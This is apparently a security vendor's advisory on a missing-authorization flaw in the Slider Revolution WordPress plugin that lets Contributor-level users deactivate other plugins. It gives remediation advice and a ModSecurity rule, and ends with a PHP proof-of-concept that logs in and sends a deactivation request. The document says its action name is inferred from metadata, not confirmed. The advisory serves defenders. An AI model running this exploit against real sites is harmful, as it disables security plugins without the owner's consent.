Atomic Edge analysis of CVE-2026-9050 (metadata-based): This vulnerability allows authenticated attackers with Contributor-level access or higher to deactivate any active plugin on a WordPress site running Slider Revolution versions 6.0.0-6.7.55 or 7.0.0-7.0.14. The issue carries a CVSS score of 4.3 (Medium) and is classified under CWE-862 Missing Authorization. The attack does not require any user interaction beyond the initial authentication.
The root cause is a missing authorization check in a WordPress AJAX handler or REST API endpoint exposed by the Slider Revolution plugin. Atomic Edge analysis infers this from the CWE classification and the vulnerability description. The plugin likely registers an AJAX action (via wp_ajax_* hooks) or a REST route that performs plugin deactivation or calls WordPress functions like deactivate_plugins(). The handler fails to verify the current user’s capability level (such as manage_options or activate_plugins) before executing the action. Without access to the source code, Atomic Edge research cannot confirm the exact function name, but the pattern is consistent with missing capability checks in admin AJAX handlers.
An attacker who has authenticated to WordPress with a Contributor account can trigger the vulnerable endpoint. The exploit likely targets an AJAX action under `wp-admin/admin-ajax.php` with parameters such as `action=revslider_deactivate_plugin` and `plugin=plugin-folder/plugin-file.php`. The attacker sends a POST request with the nonce (if required but not enforced) or simply provides the plugin slug. The server then calls `deactivate_plugins()` for the specified plugin without checking if the user has Administrator-level permissions. This allows a low-privilege user to disrupt site functionality by deactivating essential plugins like security tools, caching plugins, or the plugin itself.
Remediation requires implementing proper capability checks in all AJAX handlers and REST endpoints that perform sensitive operations. The plugin must verify the user has the `activate_plugins` capability before calling `deactivate_plugins()`. The standard WordPress pattern uses `current_user_can(‘activate_plugins’)` or `current_user_can(‘manage_options’)` for site-wide plugin management. Additionally, the plugin should validate nonces using `check_ajax_referer()` or `check_admin_referer()` to prevent CSRF-based exploitation.
The impact is unauthorized plugin deactivation by low-privilege users. An attacker can deactivate security plugins to weaken defenses, remove caching plugins to degrade performance, or disable the Slider Revolution plugin itself. This can lead to service disruption and create opportunities for further exploitation. The vulnerability does not allow arbitrary code execution or data exfiltration directly, but removing security plugins significantly increases the site’s attack surface.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-9050 (metadata-based)
# Blocks exploitation attempts against Slider Revolution missing authorization vulnerability
# Targets the inferred AJAX action used for unauthorized plugin deactivation
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20269050,phase:2,deny,status:403,chain,msg:'CVE-2026-9050 - Slider Revolution Missing Authorization to Deactivate Plugins',severity:'CRITICAL',tag:'CVE-2026-9050',tag:'wordpress-plugin',tag:'revslider'"
SecRule ARGS_POST:action "@rx ^revslider_deactivate_plugin$" "chain"
SecRule ARGS_POST:plugin "@rx ^[a-zA-Z0-9_-]+/[a-zA-Z0-9._-]+.php$" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9050 - Slider Revolution 6.0.0-6.7.55 and 7.0.0-7.0.14 - Missing Authorization to Authenticated (Contributor+) Arbitrary Plugin Deactivation
// Configuration - Set these variables before running
$target_url = 'https://example.com'; // WordPress site URL (no trailing slash)
$username = 'attacker'; // WordPress username with Contributor role or higher
$password = 'attacker_password'; // Password for the above user
$plugin_to_deactivate = 'akismet/akismet.php'; // Plugin slug to deactivate (folder/main-file)
// Step 1: Authenticate to WordPress and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_COOKIEJAR => '/tmp/cve_cookies.txt',
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false
]);
$login_response = curl_exec($ch);
curl_close($ch);
// Step 2: Verify we got auth cookies
if (!file_exists('/tmp/cve_cookies.txt') || filesize('/tmp/cve_cookies.txt') === 0) {
die("Authentication failed. Check credentials or URL.n");
}
// Step 3: Send the exploit request to deactivate the target plugin
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'revslider_deactivate_plugin', // Inferred AJAX action from plugin slug
'plugin' => $plugin_to_deactivate,
'_ajax_nonce' => '' // Nonce not verified per vulnerability
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '/tmp/cve_cookies.txt',
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Check result
if ($http_code === 200 && strpos($response, 'success') !== false) {
echo "[+] Plugin deactivated successfully: $plugin_to_deactivaten";
} else {
echo "[-] Exploit failed. HTTP code: $http_coden";
echo "Response: $responsen";
}
// Clean up session file
unlink('/tmp/cve_cookies.txt');
?>
